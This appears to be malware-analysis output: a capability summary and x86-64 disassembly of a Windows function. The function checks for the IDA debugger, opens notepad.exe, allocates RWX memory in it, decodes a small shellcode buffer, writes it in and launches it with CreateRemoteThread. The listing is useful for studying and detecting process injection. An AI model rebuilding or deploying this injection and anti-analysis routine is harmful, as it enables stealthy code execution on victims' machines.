Function at 0x401550
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x190
lea rbp, [rsp + 0x80]
call fcn.00401970
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x100], rax
cmp qword [rbp + 0x100], 0xffffffffffffffff
jne 0x40158f
mov eax, 1
jmp 0x4018b5
mov dword [rbp - 0x40], 0x130
mov dword [rbp + 0x10c], 0
lea rax, [rbp - 0x40]
mov rcx, qword [rbp + 0x100]
mov rdx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40167e
lea rax, [rbp - 0x40]
add rax, 0x2c
lea rdx, str.ida64.exe
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4015fd
mov r9d, 0
lea r8, str.Danger__Master_of_reverse_detected
lea rdx, [0x00405038]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
jmp 0x40167e
lea rax, [rbp - 0x40]
add rax, 0x2c
lea rdx, str.ida.exe
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x40163c
mov r9d, 0
lea r8, str.Danger__Master_of_reverse_detected
lea rdx, [0x00405070]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
jmp 0x40167e
lea rax, [rbp - 0x40]
add rax, 0x2c
lea rdx, str.notepad.exe
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401663
mov dword [rbp + 0x10c], 1
jmp 0x40167e
lea rax, [rbp - 0x40]
mov rcx, qword [rbp + 0x100]
mov rdx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4015bb
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x10c], 0
jne 0x4016a4
mov eax, 1
jmp 0x4018b5
mov eax, dword [rbp - 0x38]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
jne 0x4016d8
mov eax, 1
jmp 0x4018b5
mov rax, qword [rbp + 0xf8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 4
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0xf0], rax
cmp qword [rbp + 0xf0], 0
jne 0x401732
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x4018b5
mov dword [rbp + 0x108], 0
jmp 0x40176e
mov eax, dword [rbp + 0x108]
cdqe
lea rdx, [0x00404020]
movzx eax, byte [rax + rdx]
sub eax, 0x30
mov edx, dword [rbp + 0x108]
movsxd rdx, edx
lea rcx, [0x00404020]
mov byte [rdx + rcx], al
add dword [rbp + 0x108], 1
mov eax, dword [rbp + 0x108]
cmp eax, 0x5c
jbe 0x40173e
mov rdx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xf8]
mov qword [rsp + 0x20], 0
mov r9d, 0x5d
lea r8, [0x00404020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x4017f0
mov rdx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xf8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x4018b5
mov rdx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xf8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
test rax, rax
jne 0x401877
mov rdx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xf8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x4018b5
mov rdx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xf8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x190
pop rbp
ret